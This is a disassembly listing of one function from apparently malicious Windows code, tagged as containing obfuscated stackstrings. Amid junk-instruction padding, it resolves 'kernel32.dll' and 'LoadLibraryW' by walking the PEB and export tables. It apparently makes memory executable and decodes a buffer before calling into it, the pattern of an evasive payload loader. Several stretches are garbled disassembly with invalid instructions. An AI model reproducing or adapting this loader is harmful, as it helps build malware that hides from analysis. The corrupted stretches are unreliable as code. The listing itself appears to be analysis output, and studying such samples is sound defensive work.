Function at 0x4124a9
Capabilities:
Contain obfuscated stackstrings
Get number of processors

Disassembly:
push esi
push ecx
add esp, 4
sub esi, 0x6cea
or esi, 0x185cf
pop esi
push edx
push ebx
add esp, 4
or edx, 0x15995
or edx, 0x5d21
or edx, 0x1c33
pop edx
push edi
xor edi, 0x13fa5
pop edi
lea edx, [ebp - 0x1738]
mov dword [ebp - 0xcc0], edx
mov eax, dword [ebp - 0x514]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xcbc], ecx
xor edx, edx
mov word [ebp - 0x21c], dx
xor eax, eax
mov word [ebp - 0x38], ax
push ecx
push ecx
add esp, 4
xor ecx, 0x8876
pop ecx
push ebx
push edx
add esp, 4
and ebx, 0x1420e
or ebx, 0x1811d
pop ebx
push eax
push esi
add esp, 4
or eax, 0xfff6
jmp 0x412209
pop eax
mov ecx, dword [ebp - 0xcbc]
mov dx, word [ecx]
mov word [ebp - 0x103e], dx
mov eax, dword [ebp - 0xcbc]
add eax, 2
mov dword [ebp - 0xcbc], eax
mov cx, word [ebp - 0x103e]
mov word [ebp - 0x21c], cx
mov edx, dword [ebp - 0xcc0]
mov ax, word [edx]
mov word [ebp - 0x1040], ax
mov ecx, dword [ebp - 0xcc0]
add ecx, 2
mov dword [ebp - 0xcc0], ecx
mov dx, word [ebp - 0x1040]
mov word [ebp - 0x38], dx
push edi
push ebx
add esp, 4
and edi, 0x4a55
and edi, 0x11818
or edi, 0x14028
pop edi
push ecx
sub ecx, 0x4579
and ecx, 0x4261
add ecx, 0x4dc0
and ecx, 0x12600
pop ecx
movzx eax, word [ebp - 0x38]
test eax, eax
jne 0x4122b0
movzx ecx, word [ebp - 0x21c]
movzx edx, word [ebp - 0x38]
sub ecx, edx
mov dword [ebp - 0x161c], ecx
jmp 0x41230a
movzx eax, word [ebp - 0x21c]
movzx ecx, word [ebp - 0x38]
cmp eax, ecx
je 0x4121d8
movzx edx, word [ebp - 0x21c]
xor edx, 0x20
movzx eax, word [ebp - 0x38]
cmp edx, eax
je 0x4121d8
movzx ecx, word [ebp - 0x21c]
movzx edx, word [ebp - 0x38]
cmp ecx, edx
jge 0x4122f4
mov dword [ebp - 0x1618], 0xffffffff
jmp 0x4122fe
mov dword [ebp - 0x1618], 1
mov eax, dword [ebp - 0x1618]
mov dword [ebp - 0x161c], eax
cmp dword [ebp - 0x161c], 0
jne 0x412353
push ebx
push edi
add esp, 4
and ebx, 0x138c0
xor ebx, 0xb7b0
add ebx, 0x7729
or ebx, 0x1712f
pop ebx
push edi
or edi, 0x2553
sub edi, 0x78c7
xor edi, 0x14db
pop edi
mov ecx, dword [ebp - 0x514]
mov dword [ebp - 0x2fc], ecx
jmp 0x4123bb
push edi
push ebx
add esp, 4
add edi, 0x8e9f
or edi, 0xb023
add edi, 0x11d90
sub edi, 0xb3b9
pop edi
push eax
or eax, 0x63b5
or eax, 0x11e7d
sub eax, 0x12eee
pop eax
mov edx, dword [ebp - 0x514]
mov eax, dword [edx]
mov dword [ebp - 0x514], eax
mov ecx, dword [ebp - 0x514]
cmp ecx, dword [ebp - 0xcc4]
je 0x4123b1
mov edx, dword [ebp - 0x514]
cmp dword [edx + 0x30], 0
jne 0x41217c
mov dword [ebp - 0x2fc], 0
push ebx
push edi
add esp, 4
jmp 0x4123c5
xor ebx, 0x1371
pop ebx
push ebx
push eax
add esp, 4
call 0x4123dd
add byte [ecx + 0x3d], cl
inc edx
inc esp
inc ebx
dec ecx
add esp, 4
sub ebx, 0x69f0
or ebx, 0x85c
pop ebx
cmp dword [ebp - 0x2fc], 0
jne 0x412cf2
mov eax, 0x6b
mov word [ebp - 0x1790], ax
mov ecx, 0x65
mov word [ebp - 0x178e], cx
mov edx, 0x72
mov word [ebp - 0x178c], dx
mov eax, 0x6e
mov word [ebp - 0x178a], ax
mov ecx, 0x65
mov word [ebp - 0x1788], cx
mov edx, 0x6c
mov word [ebp - 0x1786], dx
mov eax, 0x33
mov word [ebp - 0x1784], ax
mov ecx, 0x32
mov word [ebp - 0x1782], cx
mov edx, 0x2e
mov word [ebp - 0x1780], dx
mov eax, 0x64
mov word [ebp - 0x177e], ax
mov ecx, 0x6c
mov word [ebp - 0x177c], cx
mov edx, 0x6c
mov word [ebp - 0x177a], dx
xor eax, eax
mov word [ebp - 0x1778], ax
push ecx
sub ecx, 0xaccc
call 0x4124a9
add byte [eax + edi], dh
dec esp
dec esp
cmp eax, 0x373f503f
add esp, 4
pop ecx
push ecx
push edi
add esp, 4
sub ecx, 0x8edb
xor ecx, 0x16d3d
xor ecx, 0x1723c
pop ecx
mov byte [ebp - 0x8a4], 0x4c
mov byte [ebp - 0x8a3], 0x6f
mov byte [ebp - 0x8a2], 0x61
mov byte [ebp - 0x8a1], 0x64
mov byte [ebp - 0x8a0], 0x4c
mov byte [ebp - 0x89f], 0x69
mov byte [ebp - 0x89e], 0x62
mov byte [ebp - 0x89d], 0x72
mov byte [ebp - 0x89c], 0x61
mov byte [ebp - 0x89b], 0x72
mov byte [ebp - 0x89a], 0x79
mov byte [ebp - 0x899], 0x57
mov byte [ebp - 0x898], 0
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x199c], ecx
mov edx, dword [ebp - 0x199c]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x19a0], eax
mov ecx, dword [ebp - 0x19a0]
mov dword [ebp - 0x1620], ecx
push ebx
add ebx, 0xd9cb
pop ebx
push ecx
jmp 0x412559
or ecx, 0x4e9
pop ecx
push eax
push ecx
add esp, 4
call 0x412571
add byte [eax + 0x48], al
inc eax
inc ecx
inc esp
cmp al, 0x83
les eax, [ebx + ebp*8]
add ecx, dword [esi + 0x42]
dec edi
pop eax
cmp dword [ebp - 0x1620], 0
jne 0x412592
mov dword [ebp - 0x774], 0
jmp 0x412839
mov edx, dword [ebp - 0x1620]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xcd0], ecx
push edx
push ebx
add esp, 4
and edx, 0x12edf
call 0x4125bc
add byte [ebx], dh
xor al, 0x3a
dec ecx
cmp byte [edi], dh
dec edi
add esp, 4
pop edx
push edi
jmp 0x4125c7
jmp 0x4125cf
and edi, 0x10da6
pop edi
cmp dword [ebp - 0xcd0], 0
jne 0x4125ee
mov dword [ebp - 0x774], 0
jmp 0x412839
mov edx, dword [ebp - 0xcd0]
mov dword [ebp - 0x518], edx
push eax
push edx
add esp, 4
jmp 0x412608
or eax, 0xecea
or eax, 0x138da
xor eax, 0xcaaf
pop eax
push edi
push eax
add esp, 4
jmp 0x412625
sub edi, 0x23cb
pop edi
lea eax, [ebp - 0x1790]
mov dword [ebp - 0xccc], eax
mov ecx, dword [ebp - 0x518]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xcc8], edx
xor eax, eax
mov word [ebp - 0x220], ax
xor ecx, ecx
mov word [ebp - 0x3c], cx
push edi
push ebx
add esp, 4
and edi, 0x97d8
and edi, 0x18659
add edi, 0x658d
pop edi
push edi
jmp 0x412675
add edi, 0x18bd
sub edi, 0x5392
or edi, 0x9250
pop edi
mov edx, dword [ebp - 0xcc8]
mov ax, word [edx]
mov word [ebp - 0x1042], ax
mov ecx, dword [ebp - 0xcc8]
add ecx, 2
mov dword [ebp - 0xcc8], ecx
mov dx, word [ebp - 0x1042]
mov word [ebp - 0x220], dx
mov eax, dword [ebp - 0xccc]
mov cx, word [eax]
mov word [ebp - 0x1044], cx
mov edx, dword [ebp - 0xccc]
add edx, 2
mov dword [ebp - 0xccc], edx
mov ax, word [ebp - 0x1044]
mov word [ebp - 0x3c], ax
push edx
xor edx, 0x10161
jmp 0x4126ee
add edx, 0x67bb
pop edx
push eax
jmp 0x4126fe
and eax, 0x16c1d
xor eax, 0x16b99
or eax, 0x9371
pop eax
movzx ecx, word [ebp - 0x3c]
test ecx, ecx
jne 0x41272e
movzx edx, word [ebp - 0x220]
movzx eax, word [ebp - 0x3c]
sub edx, eax
mov dword [ebp - 0x1668], edx
jmp 0x412788
movzx ecx, word [ebp - 0x220]
movzx edx, word [ebp - 0x3c]
cmp ecx, edx
je 0x412656
movzx eax, word [ebp - 0x220]
xor eax, 0x20
movzx ecx, word [ebp - 0x3c]
cmp eax, ecx
je 0x412656
movzx edx, word [ebp - 0x220]
movzx eax, word [ebp - 0x3c]
cmp edx, eax
jge 0x412772
mov dword [ebp - 0x1624], 0xffffffff
jmp 0x41277c
mov dword [ebp - 0x1624], 1
mov ecx, dword [ebp - 0x1624]
mov dword [ebp - 0x1668], ecx
cmp dword [ebp - 0x1668], 0
jne 0x4127d1
push edx
push eax
add esp, 4
jmp 0x41279d
xor edx, 0x10417
and edx, 0x12800
pop edx
push ecx
and ecx, 0x13543
jmp 0x4127b6
xor ecx, 0x1656c
and ecx, 0x12fff
pop ecx
mov edx, dword [ebp - 0x518]
mov dword [ebp - 0x774], edx
jmp 0x412839
push edx
call 0x4127e1
add byte [edi], dh
inc edi
cmp cl, byte [ebp + 0x49]
inc ebp
aas
xor eax, dword [ecx - 0x7d]
les eax, [ebx + ebp*8]
add al, 0x32
aas
dec ebx
cmp ebp, ebx
add al, 0x47
xor ecx, dword [ebx + ecx*2 - 0x7f]
ret 0x43ec
push edi
push esi
add esp, 4
and edi, 0x5f53
and edi, 0x14d01
pop edi
push esi
xor esi, 0x843
add esi, 0x177a5
xor esi, 0x9df0
pop esi
push edx
push edx
add esp, 4
sub edx, 0x12b81
pop edx
cmp dword [ebp - 0x774], 0
jne 0x4128b5
push edi
call 0x412881
add byte [esi], dh
inc ebp
dec esi
dec eax
inc esi
aas
add esp, 4
pop edi
push ecx
push ebx
add esp, 4
or ecx, 0xf95
add ecx, 0x7143
and ecx, 0x2d72
jmp 0x4128a5
pop ecx
mov dword [ebp - 0xab4], 0
jmp 0x4133dd
push eax
push edx
add esp, 4
sub eax, 0x174ae
sub eax, 0x14386
call 0x4128d5
add byte [edx], bh
cmp byte [esi + ecx*2], bh
xor eax, 0x404c3e41
add esp, 4
pop eax
push esi
and esi, 0x12162
and esi, 0x173dd
pop esi
mov ecx, dword [ebp - 0x774]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x3a4], edx
mov dword [ebp - 0x784], 0
mov eax, dword [ebp - 0x3a4]
mov dword [ebp - 0x166c], eax
cmp dword [ebp - 0x166c], 0
jne 0x412926
mov ecx, dword [ebp - 0x784]
mov dword [ebp - 0x3f8], ecx
jmp 0x412c17
mov edx, dword [ebp - 0x166c]
mov eax, dword [ebp - 0x3a4]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x1670], eax
jne 0x41294e
mov ecx, dword [ebp - 0x784]
mov dword [ebp - 0x3f8], ecx
jmp 0x412c17
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0x1670]
mov edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x1678], edx
cmp dword [ebp - 0x1678], 0
jne 0x412980
mov eax, dword [ebp - 0x784]
mov dword [ebp - 0x3f8], eax
jmp 0x412c17
mov ecx, dword [ebp - 0x3a4]
add ecx, dword [ebp - 0x1678]
mov dword [ebp - 0x778], ecx
jne 0x4129a5
mov edx, dword [ebp - 0x784]
mov dword [ebp - 0x3f8], edx
jmp 0x412c17
mov eax, dword [ebp - 0x778]
mov ecx, dword [ebp - 0x3a4]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x19a4], ecx
mov edx, dword [ebp - 0x778]
mov eax, dword [ebp - 0x3a4]
add eax, dword [edx + 0x24]
mov dword [ebp - 0x19a8], eax
mov ecx, dword [ebp - 0x778]
mov edx, dword [ebp - 0x3a4]
add edx, dword [ecx + 0x1c]
mov dword [ebp - 0x19ac], edx
mov dword [ebp - 0x77c], 0
jmp 0x4129ff
mov ecx, dword [ebp - 0x778]
mov edx, dword [ebp - 0x77c]
cmp edx, dword [ecx + 0x18]
jae 0x412c0b
mov eax, dword [ebp - 0x77c]
mov ecx, dword [ebp - 0x19a4]
mov edx, dword [ebp - 0x3a4]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x780], edx
mov eax, dword [ebp - 0x77c]
mov ecx, dword [ebp - 0x19a8]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0x19ac]
mov ecx, dword [ebp - 0x3a4]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x19b0], ecx
mov dword [ebp - 0x1a0], 0
jmp 0x412a6f
mov edx, dword [ebp - 0x1a0]
add edx, 1
mov dword [ebp - 0x1a0], edx
mov eax, dword [ebp - 0x780]
add eax, dword [ebp - 0x1a0]
movsx ecx, byte [eax]
test ecx, ecx
je 0x412b21
mov edx, dword [ebp - 0x1a0]
movsx eax, byte [ebp + edx - 0x8a4]
test eax, eax
je 0x412b21
push edx
and edx, 0x7123
sub edx, 0x11a69
call 0x412ab8
add byte [ebp + 0x4e], cl
inc ebp
xor cl, byte [eax + 0x48]
xor al, 0x48
dec esi
add esp, 4
xor edx, 0x15b4d
pop edx
push eax
push ebx
add esp, 4
and eax, 0xe659
pop eax
mov ecx, dword [ebp - 0x780]
add ecx, dword [ebp - 0x1a0]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x1a0]
movsx ecx, byte [ebp + eax - 0x8a4]
cmp edx, ecx
je 0x412b13
mov edx, dword [ebp - 0x780]
add edx, dword [ebp - 0x1a0]
movsx eax, byte [edx]
xor eax, 0x20
mov ecx, dword [ebp - 0x1a0]
movsx edx, byte [ebp + ecx - 0x8a4]
cmp eax, edx
jne 0x412b1a
jmp 0x412a60
jmp 0x412b21
push eax
call 0x412b32
add byte [eax], bh
dec edi
cmp cl, byte [ecx + ecx*2 + 0x46]
xor al, 0x48
inc esi
cmp byte [ebx - 0xf7efb3c], al
iretd
mov eax, dword [ebp - 0x784]
mov dword [ebp - 0x3f8], eax
cmp dword [ebp - 0x3f8], 0
je 0x412cf2
push esi
push ebx
add esp, 4
or esi, 0xfe7e
and esi, 0x11fc8
add esi, 0x390d
jmp 0x412c43
pop esi
push eax
push eax
add esp, 4
add eax, 0x160e
or eax, 0x11b07
pop eax
mov ecx, dword [ebp - 0x3f8]
mov dword [ebp - 0x19b4], ecx
push esi
push edx
add esp, 4
and esi, 0x8114
and esi, 0xc80
pop esi
push edx
push eax
add esp, 4
and edx, 0x7626
pop edx
push edx
xor edx, 0x71f8
or edx, 0x12774
xor edx, 0x4172
pop edx
mov edx, dword [ebp - 0x19b4]
mov dword [ebp - 0x19b8], edx
lea eax, [ebp - 0x1738]
push eax
call dword [ebp - 0x19b8]
test eax, eax
jne 0x412cf2
push eax
jmp 0x412cb8
jmp 0x412cc1
and eax, 0x1442f
call 0x412cd7
add byte [eax + 0x39], dl
cmp byte [ecx + 0x35], cl
inc ebx
cmp byte [ebx], dh
inc edi
xor al, 0x83
les eax, [eax + ebx*2]
push ecx
and ecx, 0x12526
pop ecx
mov dword [ebp - 0xab4], 0
jmp 0x4133dd
push edx
push ecx
add esp, 4
add edx, 0x152b7
call 0x412d0c
add byte [edx + esi], dh
dec ebx
cmp al, byte [edx + 0x46]
xor esi, dword [ebx]
dec eax
add esp, 4
pop edx
push eax
and eax, 0xfb5d
and eax, 0x11094
or eax, 0x29d2
pop eax
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x19bc], ecx
mov edx, dword [ebp - 0x19bc]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x19c0], eax
mov ecx, dword [ebp - 0x19c0]
mov dword [ebp - 0x167c], ecx
push ebx
or ebx, 0x5190
call 0x412d62
add byte [eax + 0x4f], cl
dec esp
inc esi
cmp eax, 0x42473348
add esp, 4
pop ebx
push ebx
push ecx
add esp, 4
and ebx, 0x8681
xor ebx, 0x472b
or ebx, 0x16e0b
pop ebx
cmp dword [ebp - 0x167c], 0
jne 0x412d96
mov dword [ebp - 0x2fc], 0
jmp 0x41303d
mov edx, dword [ebp - 0x167c]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xce0], ecx
push ecx
and ecx, 0x1232e
add ecx, 0x117f
add ecx, 0x139fd
pop ecx
push esi
push ecx
add esp, 4
and esi, 0x5063
sub esi, 0x161d4
and esi, 0xa96
xor esi, 0x14b39
pop esi
cmp dword [ebp - 0xce0], 0
jne 0x412df2
mov dword [ebp - 0x2fc], 0
jmp 0x41303d
mov edx, dword [ebp - 0xce0]
mov dword [ebp - 0x51c], edx
push edx
call 0x412e0c
add byte [ebp + 0x3c], cl
dec eax
xor al, 0x42
dec ebx
add esp, 4
or edx, 0xa33e
pop edx
push edx
push esi
add esp, 4
and edx, 0x6d15
add edx, 0x10df6
pop edx
push ecx
and ecx, 0xc710
pop ecx
lea eax, [ebp - 0x1738]
mov dword [ebp - 0xcdc], eax
mov ecx, dword [ebp - 0x51c]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xcd8], edx
xor eax, eax
mov word [ebp - 0x224], ax
xor ecx, ecx
mov word [ebp - 0x40], cx
push ebx
push ebx
add esp, 4
and ebx, 0x163f2
add ebx, 0x172ea
add ebx, 0x6eb8
pop ebx
push edx
or edx, 0xcdf0
sub edx, 0x172b7
pop edx
push edi
push ebx
add esp, 4
sub edi, 0x15832
pop edi
mov edx, dword [ebp - 0xcd8]
mov ax, word [edx]
mov word [ebp - 0x1046], ax
mov ecx, dword [ebp - 0xcd8]
add ecx, 2
mov dword [ebp - 0xcd8], ecx
mov dx, word [ebp - 0x1046]
mov word [ebp - 0x224], dx
mov eax, dword [ebp - 0xcdc]
mov cx, word [eax]
mov word [ebp - 0x1048], cx
mov edx, dword [ebp - 0xcdc]
add edx, 2
mov dword [ebp - 0xcdc], edx
mov ax, word [ebp - 0x1048]
mov word [ebp - 0x40], ax
push eax
add eax, 0xf767
and eax, 0x14388
sub eax, 0x7906
pop eax
push ecx
sub ecx, 0x1509e
xor ecx, 0x1440b
pop ecx
push ebx
add ebx, 0x1275c
pop ebx
push ebx
or ebx, 0x5dfa
pop ebx
movzx ecx, word [ebp - 0x40]
test ecx, ecx
jne 0x412f32
movzx edx, word [ebp - 0x224]
movzx eax, word [ebp - 0x40]
sub edx, eax
mov dword [ebp - 0x1684], edx
jmp 0x412f8c
movzx ecx, word [ebp - 0x224]
movzx edx, word [ebp - 0x40]
cmp ecx, edx
je 0x412e5a
movzx eax, word [ebp - 0x224]
xor eax, 0x20
movzx ecx, word [ebp - 0x40]
cmp eax, ecx
je 0x412e5a
movzx edx, word [ebp - 0x224]
movzx eax, word [ebp - 0x40]
cmp edx, eax
jge 0x412f76
mov dword [ebp - 0x1680], 0xffffffff
jmp 0x412f80
mov dword [ebp - 0x1680], 1
mov ecx, dword [ebp - 0x1680]
mov dword [ebp - 0x1684], ecx
cmp dword [ebp - 0x1684], 0
jne 0x412fd5
push eax
push esi
add esp, 4
or eax, 0xadb7
pop eax
push edi
push eax
add esp, 4
call 0x412fb5
add byte [eax + 0x37], cl
inc eax
xor cl, byte [ebp + 0x3b]
dec eax
xor eax, dword [edx - 0x7d]
les eax, [ebx + ebp*8]
push es
inc ebp
cmp dword [edx + ecx*2 + 0x49], ecx
inc ebx
add edi, 0x17a53
pop edi
mov edx, dword [ebp - 0x51c]
mov dword [ebp - 0x2fc], edx
jmp 0x41303d
push edi
push eax
add esp, 4
and edi, 0x16a74
or edi, 0x2525
xor edi, 0xa67e
pop edi
push edx
push esi
add esp, 4
xor edx, 0xc66e
and edx, 0x9379
pop edx
push edx
and edx, 0x17807
pop edx
mov eax, dword [ebp - 0x51c]
mov ecx, dword [eax]
mov dword [ebp - 0x51c], ecx
mov edx, dword [ebp - 0x51c]
cmp edx, dword [ebp - 0xce0]
je 0x413033
mov eax, dword [ebp - 0x51c]
cmp dword [eax + 0x30], 0
jne 0x412dfe
mov dword [ebp - 0x2fc], 0
push eax
push eax
add esp, 4
call 0x413051
add byte [edi + 0x36], al
inc eax
push eax
dec edi
inc eax
dec edi
push eax
add esp, 4
call 0x413062
add byte [edi + 0x45], cl
inc esi
xor eax, 0x38474646
add esp, 4
jmp 0x41306e
pop eax
mov ecx, dword [ebp - 0x2fc]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x338], edx
push esi
or esi, 0xb00f
into
cmpxchg byte [eax], al
add byte [ecx + 0xcccef6], al
add byte [esi + 0x56], bl
push esi
add esp, 4
sub esi, 0x18499
pop esi
push ebx
push ecx
add esp, 4
sub ebx, 0x16b66
xor ebx, 0x15a29
xor ebx, 0x16b70
pop ebx
mov dword [ebp - 0x794], 0
mov eax, dword [ebp - 0x338]
mov dword [ebp - 0x1688], eax
cmp dword [ebp - 0x1688], 0
jne 0x4130e0
mov ecx, dword [ebp - 0x794]
mov dword [ebp - 0x520], ecx
jmp 0x4133d1
mov edx, dword [ebp - 0x1688]
mov eax, dword [ebp - 0x338]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x168c], eax
jne 0x413108
mov ecx, dword [ebp - 0x794]
mov dword [ebp - 0x520], ecx
jmp 0x4133d1
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0x168c]
mov edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x1690], edx
cmp dword [ebp - 0x1690], 0
jne 0x41313a
mov eax, dword [ebp - 0x794]
mov dword [ebp - 0x520], eax
test eax, esp
cli
invalid
invalid
jmp 0x4133d1
mov ecx, dword [ebp - 0x338]
add ecx, dword [ebp - 0x1690]
mov dword [ebp - 0x788], ecx
jne 0x41315f
mov edx, dword [ebp - 0x794]
mov dword [ebp - 0x520], edx
jmp 0x4133d1
mov eax, dword [ebp - 0x788]
mov ecx, dword [ebp - 0x338]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x19c4], ecx
cmp al, 0xe6
invalid
dec dword [ebx - 0x7876b]
dec dword [ebx - 0x3377b]
inc dword [ebx]
inc edx
and al, 0x89
test dword [eax], edi
out 0xff, al
dec dword [ebx - 0x78773]
dec dword [ebx - 0x3376b]
inc dword [ebx]
push ecx
sbb al, 0x89
xchg ebp, eax
xor al, 0xe6
invalid
inc edi
test dword [eax + edi*8 - 1], esi
inc dword [eax]
add byte [eax], al
add bl, ch
invalid
mov eax, dword [ebp - 0x78c]
add eax, 1
mov dword [ebp - 0x78c], eax
mov ecx, dword [ebp - 0x788]
mov edx, dword [ebp - 0x78c]
cmp edx, dword [ecx + 0x18]
jae 0x4133c5
mov eax, dword [ebp - 0x78c]
mov ecx, dword [ebp - 0x19c4]
mov edx, dword [ebp - 0x338]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x790], edx
mov eax, dword [ebp - 0x78c]
mov ecx, dword [ebp - 0x19c8]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0x19cc]
mov ecx, dword [ebp - 0x338]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x19d0], ecx
mov dword [ebp - 0x1a4], 0
jmp 0x413229
mov edx, dword [ebp - 0x1a4]
add edx, 1
mov dword [ebp - 0x1a4], edx
mov eax, dword [ebp - 0x790]
add eax, dword [ebp - 0x1a4]
movsx ecx, byte [eax]
test ecx, ecx
je 0x4132db
mov edx, dword [ebp - 0x1a4]
movsx eax, byte [ebp + edx - 0x9d4]
test eax, eax
je 0x4132db
push esi
push ecx
add esp, 4
sub esi, 0x3122
pop esi
push edx
or edx, 0x719d
pop edx
push edx
push edi
add esp, 4
add edx, 0xcc30
call 0x413284
add byte [esi], bh
dec ebx
push eax
aas
inc edi
aaa
dec edi
inc esp
dec esi
add esp, 4
pop edx
mov ecx, dword [ebp - 0x790]
add ecx, dword [ebp - 0x1a4]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x1a4]
movsx ecx, byte [ebp + eax - 0x9d4]
cmp edx, ecx
je 0x4132cd
mov edx, dword [ebp - 0x790]
add edx, dword [ebp - 0x1a4]
movsx eax, byte [edx]
xor eax, 0x20
mov ecx, dword [ebp - 0x1a4]
movsx edx, byte [ebp + ecx - 0x9d4]
cmp eax, edx
jne 0x4132d4
jmp 0x41321a
jmp 0x4132db
push edi
push esi
add esp, 4
add edi, 0xc393
jmp 0x4132eb
pop edi
push ebx
push edi
add esp, 4
sub ebx, 0xaae9
call 0x413303
add byte [ecx + edi], dh
dec edx
dec ebp
aas
add esp, 4
or ebx, 0x34b1
pop ebx
mov eax, dword [ebp - 0x790]
add eax, dword [ebp - 0x1a4]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x1a4]
movsx eax, byte [ebp + edx - 0x9d4]
cmp ecx, eax
jne 0x41333a
mov dword [ebp - 0xce4], 0
jmp 0x4133a9
push esi
xor esi, 0x28ff
and esi, 0x17077
call 0x413354
add byte [eax + eax*2 + 0x50], cl
inc ecx
cmp al, 0x3b
add esp, 4
and esi, 0x130d3
pop esi
push ebx
xor ebx, 0xdb8e
add ebx, 0x11d08
pop ebx
mov ecx, dword [ebp - 0x790]
add ecx, dword [ebp - 0x1a4]
movsx edx, byte [ecx]
or edx, 0x20
mov eax, dword [ebp - 0x1a4]
movsx ecx, byte [ebp + eax - 0x9d4]
or ecx, 0x20
cmp edx, ecx
jge 0x41339f
mov dword [ebp - 0xce4], 0xffffffff
jmp 0x4133a9
mov dword [ebp - 0xce4], 1
cmp dword [ebp - 0xce4], 0
jne 0x4133c0
mov edx, dword [ebp - 0x19d0]
mov dword [ebp - 0x520], edx
jmp 0x4133d1
jmp 0x4131aa
mov eax, dword [ebp - 0x794]
mov dword [ebp - 0x520], eax
mov ecx, dword [ebp - 0x520]
mov dword [ebp - 0xab4], ecx
push ecx
push ebx
add esp, 4
call 0x4133f2
add byte [edi + 0x3e], cl
cmp cl, byte [ecx + 0x38]
inc esp
inc ecx
xor al, 0x33
add esp, 4
jmp 0x4133fa
sub ecx, 0x52d6
add ecx, 0xa584
pop ecx
push eax
xor eax, 0x16be5
pop eax
mov edx, dword [ebp - 0xab4]
mov dword [ebp - 0x19d4], edx
lea eax, [ebp - 0xce8]
push eax
push 0x40
mov ecx, dword [ebp - 0x1694]
push ecx
mov edx, dword [ebp - 0x3e8]
push edx
call dword [ebp - 0x19d4]
test eax, eax
jne 0x413482
push esi
jmp 0x413442
add esi, 0x69a6
pop esi
push eax
or eax, 0x1dd
call 0x41345c
add byte [edx + 0x3a], cl
dec esp
inc esi
cmp al, 0x40
add esp, 4
and eax, 0x1756e
pop eax
push eax
and eax, 0x11f12
pop eax
mov eax, dword [ebp - 0x79c]
mov dword [ebp - 0x19d8], eax
push 0
call dword [ebp - 0x19d8]
mov ecx, dword [ebp - 0x19dc]
mov dword [ebp - 0x798], ecx
jmp 0x41349f
mov edx, dword [ebp - 0x798]
add edx, 1
mov dword [ebp - 0x798], edx
mov eax, dword [ebp - 0x798]
cmp eax, dword [ebp - 0xab8]
jae 0x4134fb
push ebx
push edi
add esp, 4
call 0x4134c1
add byte [esi], bh
dec eax
dec edx
xor eax, 0x4e433748
dec esi
add esp, 4
pop ebx
push edx
push ecx
add esp, 4
and edx, 0x2216
pop edx
push eax
or eax, 0x2a9b
sub eax, 0x11a64
pop eax
movzx ecx, byte [ebp - 0x3ae]
mov edx, dword [ebp - 0x798]
movsx eax, byte [edx]
sub eax, ecx
mov ecx, dword [ebp - 0x798]
mov byte [ecx], al
jmp 0x413490
mov edx, dword [ebp - 0xab4]
mov dword [ebp - 0x19e0], edx
lea eax, [ebp - 0xce8]
push eax
mov ecx, dword [ebp - 0xce8]
push ecx
mov edx, dword [ebp - 0x1694]
push edx
mov eax, dword [ebp - 0x3e8]
push eax
call dword [ebp - 0x19e0]
test eax, eax
jne 0x413573
push esi
push edx
add esp, 4
or esi, 0x112ba
add esi, 0x3642
jmp 0x413544
pop esi
push ecx
push ebx
add esp, 4
jmp 0x413551
jmp 0x413556
jmp 0x41355e
pop ecx
mov ecx, dword [ebp - 0x79c]
mov dword [ebp - 0x19e4], ecx
push 0
call dword [ebp - 0x19e4]
push ecx
or ecx, 0x483e
and ecx, 0x10d92
and ecx, 0x908
and ecx, 0xedcb
pop ecx
push eax
push eax
add esp, 4
and eax, 0x13299
sub eax, 0xea21
add eax, 0x181ca
pop eax
push edx
mov ecx, 0x10101010
pop edx
push ecx
mov ecx, 0xffff05ff
pop ecx
push edi
pop esp
mov cl, cl
or dword [esi + 0x5f864ef], eax
add eax, 0xd537e786
add eax, 0x5c5b5f05
mov cl, cl
or eax, esi
or ecx, dword [ecx + 0x41]
dec ecx
cmp byte [eax], bh
push ecx
xchg bl, dl
push ss
cmp dword [esi], eax
add eax, 0x2beeeb86
push es
add eax, 0x94fccb86
add eax, 0x8acb6305
mov ecx, 0x4c0404f3
retf